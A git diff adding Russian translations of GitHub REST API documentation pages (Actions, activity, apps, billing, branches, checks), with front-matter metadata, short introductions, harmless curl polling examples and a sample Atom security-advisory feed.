+ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061988' +--- +## Сведения об API секретов + +API секретов {% data variables.product.prodname_actions %} позволяет создавать, обновлять, удалять и извлекать сведения о зашифрованных секретах, которые можно использовать в рабочих процессах {% data variables.product.prodname_actions %}. {% data reusables.actions.about-secrets %} Дополнительные сведения см. в разделе [Создание и использование зашифрованных секретов для Dependabot](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets). + +{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} должны иметь разрешение `secrets` на использование этого API. Пользователи, прошедшие проверку подлинности, должны иметь доступ к репозиторию для создания, обновления или чтения секретов, с возможностью совместной работы. diff --git a/translations/ru-RU/content/rest/actions/self-hosted-runner-groups.md b/translations/ru-RU/content/rest/actions/self-hosted-runner-groups.md new file mode 100644 index 000000000000..858a2ed8bf93 --- /dev/null +++ b/translations/ru-RU/content/rest/actions/self-hosted-runner-groups.md @@ -0,0 +1,22 @@ +--- +title: Группы локального средства выполнения +intro: API групп локальных средств выполнения позволяет управлять группами локальных средств выполнения. +topics: + - API +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: ca08d05414764250a11dc94bac763f5aa56060be +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064373' +--- +## Сведения об API групп локальных средств выполнения + +API групп локальных средств выполнения позволяет управлять группами локальных средств выполнения. Дополнительные сведения см. в разделе [Управление доступом к средствам выполнения тестов локального размещения с помощью групп](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups). + +{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} должны иметь разрешение `administration` для репозиториев или разрешение `organization_self_hosted_runners` для организаций. Чтобы организации могли использовать этот API, пользователи, прошедшие проверку подлинности, должны иметь доступ администратора к репозиториям или организациям либо области `manage_runners:enterprise`. diff --git a/translations/ru-RU/content/rest/actions/self-hosted-runners.md b/translations/ru-RU/content/rest/actions/self-hosted-runners.md new file mode 100644 index 000000000000..89b2cd5dd306 --- /dev/null +++ b/translations/ru-RU/content/rest/actions/self-hosted-runners.md @@ -0,0 +1,22 @@ +--- +title: Локальные средства выполнения тестов +intro: 'API локальных средств выполнения позволяет регистрировать, просматривать и удалять локальные средства выполнения.' +topics: + - API +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 5fb3b281aab7120adeef45728ea0e4a16ae389a7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064381' +--- +## Сведения об API локальных средств выполнения + +API локальных средств выполнения позволяет регистрировать, просматривать и удалять локальные средства выполнения. {% data reusables.actions.about-self-hosted-runners %} Дополнительные сведения см. в разделе [Размещение собственных средств выполнения](/actions/hosting-your-own-runners). + +{% data reusables.actions.actions-authentication %} {% data variables.product.prodname_github_apps %} должны иметь разрешение `administration` для репозиториев и разрешение `organization_self_hosted_runners` для организаций. Чтобы организации могли использовать этот API, пользователи, прошедшие проверку подлинности, должны иметь доступ администратора к репозиториям или организациям либо области `manage_runners:enterprise`. diff --git a/translations/ru-RU/content/rest/actions/workflow-jobs.md b/translations/ru-RU/content/rest/actions/workflow-jobs.md new file mode 100644 index 000000000000..1610404ac203 --- /dev/null +++ b/translations/ru-RU/content/rest/actions/workflow-jobs.md @@ -0,0 +1,22 @@ +--- +title: Задания рабочих процессов +intro: API заданий рабочих процессов позволяют просматривать журналы и задания рабочих процессов. +topics: + - API +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 3ce47740a3dc276cb2fb7ba769221bc4d3be063a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064397' +--- +## Сведения об API заданий рабочих процессов + +API заданий рабочих процессов позволяют просматривать журналы и задания рабочих процессов. {% data reusables.actions.about-workflow-jobs %} Дополнительные сведения см. в статье [Синтаксис рабочих процессов для действий GitHub](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions). + +{% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %} diff --git a/translations/ru-RU/content/rest/actions/workflow-runs.md b/translations/ru-RU/content/rest/actions/workflow-runs.md new file mode 100644 index 000000000000..a534ad12875c --- /dev/null +++ b/translations/ru-RU/content/rest/actions/workflow-runs.md @@ -0,0 +1,22 @@ +--- +title: Выполнения рабочего процесса +intro: 'API выполнения рабочих процессов позволяет просматривать, повторно запускать, отменять и просматривать журналы для выполнения рабочих процессов.' +topics: + - API +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 26bf581b56a74ec8efba269fde053392454bf862 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064333' +--- +## Сведения об API выполнения рабочего процесса + +API выполнения рабочих процессов позволяет просматривать, повторно запускать, отменять и просматривать журналы для выполнения рабочих процессов. {% data reusables.actions.about-workflow-runs %} Дополнительные сведения см. в разделе [Управление выполнением рабочего процесса](/actions/automating-your-workflow-with-github-actions/managing-a-workflow-run). + +{% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %} diff --git a/translations/ru-RU/content/rest/actions/workflows.md b/translations/ru-RU/content/rest/actions/workflows.md new file mode 100644 index 000000000000..bf2167b7fdde --- /dev/null +++ b/translations/ru-RU/content/rest/actions/workflows.md @@ -0,0 +1,22 @@ +--- +title: Рабочие процессы +intro: API рабочих процессов позволяет просматривать рабочие процессы репозитория. +topics: + - API +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: b7f5d765b8a749b134cf1a69411412da0f031499 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064325' +--- +## Сведения об API рабочих процессов + +API рабочих процессов позволяет просматривать рабочие процессы репозитория. {% data reusables.actions.about-workflows %} Дополнительные сведения см. в разделе [Автоматизация рабочего процесса с помощью GitHub Actions](/actions/automating-your-workflow-with-github-actions). + +{% data reusables.actions.actions-authentication %} {% data reusables.actions.actions-app-actions-permissions-api %} diff --git a/translations/ru-RU/content/rest/activity/events.md b/translations/ru-RU/content/rest/activity/events.md new file mode 100644 index 000000000000..ae1102033c45 --- /dev/null +++ b/translations/ru-RU/content/rest/activity/events.md @@ -0,0 +1,38 @@ +--- +title: События +intro: "API событий\_— это API только для чтения для событий {% data variables.product.prodname_dotcom %}." +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 09ad462fe00e84344bd1f0a33f97380a3f03e656 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064309' +--- +Эти события отправляются в различные потоки действий на сайте. + +API событий может возвращать различные типы событий, вызываемых действиями {% data variables.product.product_name %}. Дополнительные сведения о конкретных событиях, которые можно получить из API событий, см. в статье [Типы событий {% data variables.product.prodname_dotcom %}](/developers/webhooks-and-events/github-event-types). Также доступен API событий для проблем с репозиторием. Дополнительные сведения см. в разделе [API событий проблем](/rest/reference/issues#events). + +События оптимизированы для опроса с заголовком ETag. Если новые события не вызывались, вы увидите ответ "304 Не изменено", а текущее ограничение скорости останется без изменений. Существует также заголовок X-Poll-Interval — он показывает, с какой частотой (в секундах) вы можете проводить опросы. Во время высокой нагрузки на сервер время может увеличиться. Заголовку следует подчиняться. + +``` shell +$ curl -I {% data variables.product.api_url_pre %}/users/tater/events +> HTTP/2 200 +> X-Poll-Interval: 60 +> ETag: "a18c3bded88eb5dbb5c849a489412bf3" + +# The quotes around the ETag value are important +$ curl -I {% data variables.product.api_url_pre %}/users/tater/events \ +$ -H 'If-None-Match: "a18c3bded88eb5dbb5c849a489412bf3"' +> HTTP/2 304 +> X-Poll-Interval: 60 +``` + +На временных шкалах отображаются только события, созданные за последние 90 дней. События старше 90 дней не включаются (даже если общее количество событий на временной шкале меньшее 300). diff --git a/translations/ru-RU/content/rest/activity/feeds.md b/translations/ru-RU/content/rest/activity/feeds.md new file mode 100644 index 000000000000..4087f7f54b47 --- /dev/null +++ b/translations/ru-RU/content/rest/activity/feeds.md @@ -0,0 +1,83 @@ +--- +title: Веб-каналы +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 327d47eeee98a2b8a3fd5e1a7a07ae671c691686 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064301' +--- +## Сведения об API веб-каналов + +Чтобы узнать, какие веб-каналы доступны вам, используйте операцию [Получить веб-каналы](#get-feeds). Затем можно получить веб-канал, отправив запрос на один из URL-адресов веб-канала. + +### Пример получения веб-канала Atom + +Чтобы получить веб-канал в формате Atom, необходимо указать тип `application/atom+xml` в заголовке `Accept`. Например, чтобы получить веб-канал Atom для рекомендаций по безопасности GitHub: + + curl -H "Accept: application/atom+xml" https://github.com/security-advisories + +#### Ответ + +```shell +HTTP/2 200 +``` + +```xml +<?xml version="1.0" encoding="UTF-8"?> +<feed xmlns="http://www.w3.org/2005/Atom" +xmlns:media="http://search.yahoo.com/mrss/" +xml:lang="en-US"> + <id>tag:github.com,2008:/security-advisories</id> + <link rel="self" type="application/atom+xml" + href="https://github.com/security-advisories.atom"/> + <title>GitHub Security Advisory Feed + + GitHub + + 2019-01-14T19:34:52Z + + tag:github.com,2008:GHSA-abcd-12ab-23cd + 2018-07-26T15:14:52Z + 2019-01-14T19:34:52Z + [GHSA-abcd-12ab-23cd] Moderate + severity vulnerability that affects Octoapp + + + <p>Octoapp node module before 4.17.5 suffers + from a Modification of Assumed-Immutable Data (MAID) + vulnerability via defaultsDeep, merge, and mergeWith + functions, which allows a malicious user to modify + the prototype of "Object" via + <strong>proto</strong>, causing the + addition or modification of an existing property + that will exist on all objects.</p> + <p><strong>Affected Packages</strong></p> + + <dl> + <dt>Octoapp</dt> + <dd>Ecosystem: npm</dd> + <dd>Severity: moderate</dd> + <dd>Versions: &lt; 4.17.5</dd> + <dd>Fixed in: 4.17.5</dd> + </dl> + + <p><strong>References</strong></p> + + <ul> + <li>https://nvd.nist.gov/vuln/detail/CVE-2018-123</li> + </ul> + + + + +``` diff --git a/translations/ru-RU/content/rest/activity/index.md b/translations/ru-RU/content/rest/activity/index.md new file mode 100644 index 000000000000..bd0d06fc5f63 --- /dev/null +++ b/translations/ru-RU/content/rest/activity/index.md @@ -0,0 +1,28 @@ +--- +title: Действие +intro: 'API действий позволяет получать список событий и веб-каналов, а также управлять уведомлениями, добавлением звездочек и наблюдением для прошедшего проверку подлинности пользователя.' +redirect_from: + - /v3/activity + - /rest/reference/activity +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /events + - /feeds + - /notifications + - /starring + - /watching +ms.openlocfilehash: 1ed6effbc11c106a685ec10263ac32e37b574e4b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147092913' +--- + diff --git a/translations/ru-RU/content/rest/activity/notifications.md b/translations/ru-RU/content/rest/activity/notifications.md new file mode 100644 index 000000000000..1623a3b42479 --- /dev/null +++ b/translations/ru-RU/content/rest/activity/notifications.md @@ -0,0 +1,63 @@ +--- +title: Notifications +intro: 'The Notifications API lets you manage {% data variables.product.product_name %} notifications.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +--- + +## About the Notifications API + +{% data reusables.user-settings.notifications-api-classic-pat-only %} + +The Notifications API lets you manage {% data variables.product.product_name %} notifications. For more information about notifications, see "[About notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)." + +All Notification API calls require the `notifications` or `repo` API scopes. Doing this will give read-only access to some issue and commit content. You will still need the `repo` scope to access issues and commits from their respective endpoints. + +Notifications come back as "threads". A thread contains information about the current discussion of an issue, pull request, or commit. + +Notifications are optimized for polling with the `Last-Modified` header. If there are no new notifications, you will see a `304 Not Modified` response, leaving your current rate limit untouched. There is an `X-Poll-Interval` header that specifies how often (in seconds) you are allowed to poll. In times of high server load, the time may increase. Please obey the header. + +``` shell +# Add authentication to your requests +$ curl -I {% data variables.product.api_url_pre %}/notifications +HTTP/2 200 +Last-Modified: Thu, 25 Oct 2012 15:16:27 GMT +X-Poll-Interval: 60 + +# Pass the Last-Modified header exactly +$ curl -I {% data variables.product.api_url_pre %}/notifications +$ -H "If-Modified-Since: Thu, 25 Oct 2012 15:16:27 GMT" +> HTTP/2 304 +> X-Poll-Interval: 60 +``` + +### About notification reasons + +When retrieving responses from the Notifications API, each payload has a key titled `reason`. These correspond to events that trigger a notification. + +These are the potential `reason`s for receiving a notification: + +Reason Name | Description +------------|------------ +`assign` | You were assigned to the issue. +`author` | You created the thread. +`comment` | You commented on the thread. +`ci_activity` | A {% data variables.product.prodname_actions %} workflow run that you triggered was completed. +`invitation` | You accepted an invitation to contribute to the repository. +`manual` | You subscribed to the thread (via an issue or pull request). +`mention` | You were specifically **@mentioned** in the content. +`review_requested` | You, or a team you're a member of, were requested to review a pull request.{% ifversion fpt or ghec %} +`security_alert` | {% data variables.product.prodname_dotcom %} discovered a [security vulnerability](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies) in your repository.{% endif %} +`state_change` | You changed the thread state (for example, closing an issue or merging a pull request). +`subscribed` | You're watching the repository. +`team_mention` | You were on a team that was mentioned. + +Note that the `reason` is modified on a per-thread basis, and can change, if the `reason` on a later notification is different. + +For example, if you are the author of an issue, subsequent notifications on that issue will have a `reason` of `author`. If you're then **@mentioned** on the same issue, the notifications you fetch thereafter will have a `reason` of `mention`. The `reason` remains as `mention`, regardless of whether you're ever mentioned again. diff --git a/translations/ru-RU/content/rest/activity/starring.md b/translations/ru-RU/content/rest/activity/starring.md new file mode 100644 index 000000000000..7c26459ac2bc --- /dev/null +++ b/translations/ru-RU/content/rest/activity/starring.md @@ -0,0 +1,33 @@ +--- +title: Добавление в избранное +intro: API пометки звездочкой позволяет добавлять в закладки репозиторий. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 267d87a4120bba3dbfd080bcfe3e59b1ee3ec6d1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147064253' +--- +## Сведения об API пометки звездочкой + +API пометки звездочкой позволяет добавлять в закладки репозиторий. Звезды отображаются рядом с репозиториями и показывают примерный уровень интереса. Звезды не влияют на уведомления или веб-канал активности. Дополнительные сведения см. в разделе [Сохранение репозиториев со звездочками](/get-started/exploring-projects-on-github/saving-repositories-with-stars). + +### Добавление в избранное и просмотр + +В августе 2012 года мы [изменили порядок работы просмотра](https://github.com/blog/1204-notifications-stars) в {% data variables.product.prodname_dotcom %}. Многие клиентские приложения API могут использовать оригинальные конечные точки "наблюдатель" для доступа к этим данным. Теперь вместо них можно использовать конечные точки "звезда" (см. ниже). Дополнительные сведения см. в [публикации об изменениях в API наблюдателя](https://developer.github.com/changes/2012-09-05-watcher-api/) и в разделе [API наблюдения за репозиторием](/rest/reference/activity#watching). + +### Пользовательские типы мультимедиа для добавления в избранное + +Для REST API добавления в избранное поддерживается один пользовательский тип мультимедиа. Выбрав этот пользовательский тип мультимедиа, вы получите ответ со свойством метки времени `starred_at`, указывающий время добавления в избранное. Второе свойство ответа содержит ресурс, возвращаемый, если пользовательский тип мультимедиа не включен. Свойство, содержащее ресурс, будет иметь значение `user` или `repo`. + + application/vnd.github.star+json + +Дополнительные сведения о типах мультимедиа см. в разделе [Пользовательские типы мультимедиа](/rest/overview/media-types). diff --git a/translations/ru-RU/content/rest/activity/watching.md b/translations/ru-RU/content/rest/activity/watching.md new file mode 100644 index 000000000000..8fb2136103fc --- /dev/null +++ b/translations/ru-RU/content/rest/activity/watching.md @@ -0,0 +1,21 @@ +--- +title: Наблюдение +intro: API отслеживания позволяет пользователям подписываться на уведомления о действиях в репозитории. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 5a336aaf770129cc853735c2a35406c09cfb6a9e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883484' +--- +## Сведения об API отслеживания + +API отслеживания позволяет пользователям подписываться на уведомления о действиях в репозитории. Чтобы добавить репозиторий в закладки, см. раздел [Добавление в избранное](/rest/reference/activity#starring). diff --git a/translations/ru-RU/content/rest/apps/apps.md b/translations/ru-RU/content/rest/apps/apps.md new file mode 100644 index 000000000000..5d06c3df8c69 --- /dev/null +++ b/translations/ru-RU/content/rest/apps/apps.md @@ -0,0 +1,30 @@ +--- +title: Приложения GitHub +allowTitleToDifferFromFilename: true +intro: 'API {% data variables.product.prodname_github_apps %} позволяет получать сведения о {% data variables.product.prodname_github_apps %}.' +topics: + - API +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: b9bb851837d7a5c61a74917eacf2154e7f29bc71 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '146769192' +--- +## Сведения об API {% data variables.product.prodname_github_apps %} + +{% data reusables.apps.general-apps-restrictions %} + +На этой странице перечислены конечные точки, к которым можно получить доступ, если пройти проверку подлинности в качестве приложения GitHub. Дополнительные сведения см. в разделе [Проверка подлинности в качестве приложения GitHub](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-a-github-app). + +При проверке подлинности в качестве приложения GitHub API приложений GitHub позволяет получить общие сведения о приложении GitHub, а также конкретные сведения об установках приложения. + +Доступ к конечным точкам REST API можно получить при проверке подлинности в качестве приложения GitHub. Эти конечные точки содержат текст "Работает с приложениями GitHub". Доступ к этим конечным точкам можно также получить, есть пройти проверку подлинности в качестве пользователя. + +Подмножество конечных точек REST API требует проверки подлинности в качестве установки приложения GitHub. Список этих конечных точек см. в разделе [Установки](/rest/reference/apps#installations). diff --git a/translations/ru-RU/content/rest/apps/index.md b/translations/ru-RU/content/rest/apps/index.md new file mode 100644 index 000000000000..97e08b761955 --- /dev/null +++ b/translations/ru-RU/content/rest/apps/index.md @@ -0,0 +1,28 @@ +--- +title: Приложения +intro: API приложений GitHub позволяет получать сведения об установке и конкретные сведения о приложениях GitHub. +redirect_from: + - /v3/apps + - /rest/reference/apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /apps + - /installations + - /marketplace + - /oauth-applications + - /webhooks +ms.openlocfilehash: d47b90083e59e72607472a6c217a759f590b7b80 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066396' +--- + diff --git a/translations/ru-RU/content/rest/apps/installations.md b/translations/ru-RU/content/rest/apps/installations.md new file mode 100644 index 000000000000..73588e20d70a --- /dev/null +++ b/translations/ru-RU/content/rest/apps/installations.md @@ -0,0 +1,25 @@ +--- +title: Установка приложений GitHub +allowTitleToDifferFromFilename: true +shortTitle: Installations +intro: 'API установок {% data variables.product.prodname_github_app %} позволяет получать сведения о {% data variables.product.prodname_github_app %} и выполнять действия в пределах этих установок.' +topics: + - API +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 494aec35dadfde6aaf145d781a489fb885b71a43 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147711673' +--- +## Сведения об API установки {% data variables.product.prodname_github_app %} + +Под _установкой_ понимается учетная запись любого пользователя или организации, которые установили приложение. Сведения о проверке подлинности как установке и ограничении доступа к определенным репозиториям см. в разделе [Проверка подлинности как установка](/apps/building-github-apps/authenticating-with-github-apps/#authenticating-as-an-installation). + +Список всех установок приложений GitHub для организации см. в разделе [Список установок приложений для организации](/rest/orgs/orgs#list-app-installations-for-an-organization). diff --git a/translations/ru-RU/content/rest/apps/marketplace.md b/translations/ru-RU/content/rest/apps/marketplace.md new file mode 100644 index 000000000000..45c8c4912c8b --- /dev/null +++ b/translations/ru-RU/content/rest/apps/marketplace.md @@ -0,0 +1,31 @@ +--- +title: GitHub Marketplace +allowTitleToDifferFromFilename: true +shortTitle: Marketplace +intro: '' +topics: + - API +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' +ms.openlocfilehash: acbdb60fc93898dd7c56c21f60e12fb9dbadb31d +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136325' +--- +## Сведения об API {% data variables.product.prodname_marketplace %} + +Дополнительные сведения о {% data variables.product.prodname_marketplace %} см. в разделе [GitHub Marketplace](/marketplace/). + +API {% data variables.product.prodname_marketplace %} позволяет узнать, какие клиенты используют тот или иной тарифный план, просмотреть покупки клиента и узнать, есть ли в учетной записи активная подписка. + +### Тестирование с использованием суррогатных конечных точек + +Этот API включает конечные точки, позволяющие [тестировать {% data variables.product.prodname_github_app %}](/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/) с использованием **суррогатных данных**. Cуррогатные данные — это жестко закодированные, выдуманные данные, которые не изменяются в зависимости от фактических подписок. + +Для тестирования с использованием суррогатных данных используйте суррогатную конечную точку вместо ее рабочего аналога. Это позволяет проверить работоспособность логики API перед получением списка {% data variables.product.prodname_github_apps %} в {% data variables.product.prodname_marketplace %}. + +Перед развертыванием {% data variables.product.prodname_github_app %} обязательно замените суррогатные конечные точки на рабочие. diff --git a/translations/ru-RU/content/rest/apps/oauth-applications.md b/translations/ru-RU/content/rest/apps/oauth-applications.md new file mode 100644 index 000000000000..e964f5eb479f --- /dev/null +++ b/translations/ru-RU/content/rest/apps/oauth-applications.md @@ -0,0 +1,17 @@ +--- +title: OAuth Apps +allowTitleToDifferFromFilename: true +intro: '' +topics: + - API +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +--- + +## About the {% data variables.product.prodname_oauth_app %} API + +You can use this API to manage the OAuth tokens an {% data variables.product.prodname_oauth_app %} uses to access people's accounts on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. diff --git a/translations/ru-RU/content/rest/apps/webhooks.md b/translations/ru-RU/content/rest/apps/webhooks.md new file mode 100644 index 000000000000..e4b35e393f63 --- /dev/null +++ b/translations/ru-RU/content/rest/apps/webhooks.md @@ -0,0 +1,23 @@ +--- +title: Веб-перехватчики приложений GitHub +allowTitleToDifferFromFilename: true +shortTitle: Webhooks +intro: '' +topics: + - API +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 24210c3fb7280b113771cd87f3fe21353f39d64c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136319' +--- +## Сведения об API веб-перехватчиках {% data variables.product.prodname_github_app %} + +Веб-перехватчик {% data variables.product.prodname_github_app %} позволяет получать полезные данные HTTP `POST` всякий раз, когда с приложением происходят определенные события. {% data reusables.webhooks.webhooks-rest-api-links %} diff --git a/translations/ru-RU/content/rest/billing.md b/translations/ru-RU/content/rest/billing.md new file mode 100644 index 000000000000..b3f64832b434 --- /dev/null +++ b/translations/ru-RU/content/rest/billing.md @@ -0,0 +1,22 @@ +--- +title: Выставление счетов +intro: API выставления счетов позволяет получить сведения о выставлении счетов для предприятия. +topics: + - API +miniTocMaxHeadingLevel: 3 +versions: + fpt: '*' + ghec: '*' + ghes: '>=3.4' +redirect_from: + - /rest/reference/billing +ms.openlocfilehash: 5657ca774117fad3a63b92a7eaada7cf40645d5e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147062508' +--- +## Сведения об API выставления счетов + +Вы можете получить сведения о выставлении счетов для предприятия. Дополнительные сведения см. в разделе REST API "[Администрирование предприятия {% data variables.product.prodname_dotcom %}](/rest/reference/enterprise-admin#billing)". diff --git a/translations/ru-RU/content/rest/branches/branch-protection.md b/translations/ru-RU/content/rest/branches/branch-protection.md new file mode 100644 index 000000000000..91f33c121084 --- /dev/null +++ b/translations/ru-RU/content/rest/branches/branch-protection.md @@ -0,0 +1,20 @@ +--- +title: Защищенные ветви +intro: '' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +allowTitleToDifferFromFilename: true +ms.openlocfilehash: 08e6054d4077f2590634be1777aa4ec9701e9d69 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147093136' +--- + diff --git a/translations/ru-RU/content/rest/branches/branches.md b/translations/ru-RU/content/rest/branches/branches.md new file mode 100644 index 000000000000..14cdc9bc9ff6 --- /dev/null +++ b/translations/ru-RU/content/rest/branches/branches.md @@ -0,0 +1,19 @@ +--- +title: Ветви +intro: API ветвей позволяет изменять ветви и их параметры защиты. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: 661c74b6da713445f3d923eeb6101cabe49dddd0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066205' +--- + diff --git a/translations/ru-RU/content/rest/branches/index.md b/translations/ru-RU/content/rest/branches/index.md new file mode 100644 index 000000000000..c2ac7e5e9323 --- /dev/null +++ b/translations/ru-RU/content/rest/branches/index.md @@ -0,0 +1,25 @@ +--- +title: Ветви +intro: API ветвей позволяет изменять ветви и их параметры защиты. +allowTitleToDifferFromFilename: true +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /branches + - /branch-protection +redirect_from: + - /rest/reference/branches +ms.openlocfilehash: 9cd8a95d3b4ca5af52ed17f808bcbc3282b1739f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147061621' +--- + diff --git a/translations/ru-RU/content/rest/checks/index.md b/translations/ru-RU/content/rest/checks/index.md new file mode 100644 index 000000000000..272cd20fe25d --- /dev/null +++ b/translations/ru-RU/content/rest/checks/index.md @@ -0,0 +1,25 @@ +--- +title: Проверки +intro: 'С помощью API проверки можно создать {% data variables.product.prodname_github_apps %}, которые эффективно проверяют наличие изменений кода в репозитории.' +redirect_from: + - /v3/checks + - /rest/reference/checks +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - API +miniTocMaxHeadingLevel: 3 +children: + - /runs + - /suites +ms.openlocfilehash: d8b82dfcf447f130dbaedc0c47f34d86f444e848 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147065845' +--- +Вы можете создавать приложения, которые выполняют непрерывную интеграцию, структурирование кода или службы сканирования кода и предоставляют подробные отзывы о фиксациях. Дополнительные сведения см. в разделе [Начало работы с API проверок](/rest/guides/getting-started-with-the-checks-api) и [Создание тестов CI с помощью API проверок](/apps/quickstart-guides/creating-ci-tests-with-the-checks-api/). diff --git a/translations/ru-RU/content/rest/checks/runs.md b/translations/ru-RU/content/rest/checks/runs.md new file mode 100644 index 000000000000..3d0251a0c9ef --- /dev/null +++ b/translations/ru-RU/content/rest/checks/runs.md @@ -0,0 +1,20 @@ +--- +title: Проверка запусков +intro: '' +versions: + fpt: '*' + 